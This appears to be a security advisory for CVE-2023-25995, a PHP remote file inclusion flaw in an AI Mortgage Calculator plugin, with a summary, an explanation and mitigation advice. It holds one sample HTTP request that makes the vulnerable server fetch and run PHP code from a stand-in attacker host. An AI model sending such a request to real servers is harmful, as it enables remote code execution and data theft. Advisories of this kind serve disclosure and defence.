Overview<\/strong><\/p>\n

The Critical Vulnerability Exposure (CVE) CVE-2023-25995 is a high-level security flaw found in the AI Mortgage Calculator used by choicehomemortgage. This vulnerability arises due to the ‘PHP Remote File Inclusion’, which can allow an intruder to introduce malicious codes into the system. The flaw potentially affects all versions up to 1.0.1 of the AI Mortgage Calculator, making it a serious concern for any organization or individual using this software.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2023-25995
\nSeverity: High (CVSS: 7.5)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System Compromise and Potential Data Leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

AI Mortgage Calculator | Up to 1.0.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This particular exploit takes advantage of the improper control of filenames for the ‘Include\/Require’ statement in the PHP program. This would allow an attacker to remotely include a file from any location, local or otherwise. The included file can then execute arbitrary PHP code, thereby compromising the system. In essence, the vulnerability allows an attacker to control what file is included and executed by the vulnerable application.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a hypothetical example of how an HTTP request exploiting this vulnerability might look:<\/p>\n

GET \/calculator.php?file=http:\/\/malicious.example.com\/malicious_code.php HTTP\/1.1\nHost: vulnerablehost.com\nAccept: *\/*<\/code><\/pre>\n
In this example, the attacker has included a PHP file from a remote server (`http:\/\/malicious.example.com\/malicious_code.php`), which will be executed by the server running the AI Mortgage Calculator application. This could lead to a full system compromise or potential data leakage.
\nTo mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. If patches are unavailable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"
